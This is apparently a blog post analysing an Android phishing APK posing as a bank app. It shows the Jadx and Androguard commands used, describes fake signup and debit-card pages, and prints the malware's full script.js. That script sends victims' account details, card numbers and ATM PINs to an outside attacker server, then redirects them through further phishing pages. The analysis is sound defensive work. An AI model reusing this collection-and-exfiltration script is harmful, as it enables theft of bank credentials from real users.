Hi Readers,
It’s been some time since my last write-up. Over the weekend, a good friend sent me an Android malware sample. Although I have experience with Android, I haven’t ventured much into malware analysis, making this the perfect opportunity to dive in. My goal is to begin threat hunting, starting with this sample and gradually progressing to more complex malware.
The file my friend shared was:
- File name: pnb.apk
- SHA256 Hash: 1a403909f329b5991d0da307322cacad393fa06da939e6e4739a21a93e0d2227
The first thing I usually do when I receive an APK file is decompile it using APKTool or open it in Jadx. When I loaded this file in Jadx, most of the code was obfuscated. However, I noticed something unusual in the AndroidManifest.xml file. Some values were replaced with “⟨STRING_DECODE_ERROR⟩”, as shown in the figure below:

After a few hours of trying different approaches and exploring the APK file, I reached out to my friend (https://shadowsec.live/), who has experience with malware analysis. I asked if he had encountered similar behavior before, and he suggested using the following tool to help:
After installing the tool using pip, run the following command to view the AndroidManifest.xml file:
androguard axml -i pnb.apk
The figure below shows that the application produces the same output as in JADX, except that in JADX, the values are displayed as “⟨STRING_DECODE_ERROR⟩”.

The following command was issued to decompile the application:
androguard decompile -o ./ ~/Desktop/pnb.apk
The figure below shows the application decoding the APK file:

Androguard helped decode some of the packages, making them more readable. After spending a few more hours on it, I decided to revisit JADX and noticed several files under the “Resources” section, as shown in the figure below:

The index.html file is designed to create a signup form that imitates a legitimate banking website, a tactic commonly used in phishing attacks. It includes fields to capture a user’s name, mobile number, and account number, all of which are meant to deceive unsuspecting users into revealing sensitive information. This makes it a prime example of a phishing page. The figure below shows what the index.html looks like:

The debit.html file is similar to the index.html file, but instead of collecting basic account information, it is designed to steal debit card details. It prompts users to enter their debit card number, expiry date, and ATM PIN. The figure below shows what the debit.html looks like:

Lastly, the script.js is used for handling form submission and redirecting users based on the page context. The script first defines a URL where the collected form data is sent. When the form is submitted, it prevents the default form submission behavior and gathers the form data into a JavaScript object. Below is the script,js file:
// Define the URL for the server endpoint
const URL = "https://customer16.evilginix.com/site/submit.php";
// Function to handle redirection based on the page context
function handleRedirection(page) {
let redirectUrl = '';
switch (page) {
case 'index.html':
redirectUrl = 'debit.html';
break;
case 'debit.html':
redirectUrl = 'last.html';
break;
default:
redirectUrl = 'index.html'; // Default redirect URL
break;
}
// Perform the redirection
window.location.href = redirectUrl;
}
// Set up the form submission event listener
document.getElementById('myForm').addEventListener('submit', function(e) {
e.preventDefault(); // Prevent the default form submission
// Get form data
const formData = new FormData(e.target);
const data = Object.fromEntries(formData.entries());
console.log(data);
// Get ID from local storage
const id = localStorage.getItem('formId'); // Default to '1' if not set
data.id = id;
// Get the current page context
const dataPage = document.documentElement.getAttribute('data-page');
// Send data to the server
fetch(URL, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(data)
})
.then(response => response.json())
.then(result => {
console.log('Success:', result);
// Handle redirection after successful data submission
handleRedirection(dataPage);
})
.catch(error => {
console.error('Error:', error);
});
});
Upon visiting the URL, the figure below shows that it functions as a Command and Control (C&C) server, where all the victim’s information is sent.

Additionally, by changing the subdomain, it’s possible to access another phishing campaign, which likely belongs to a different group, as shown in the figure below:

Thank you for reading!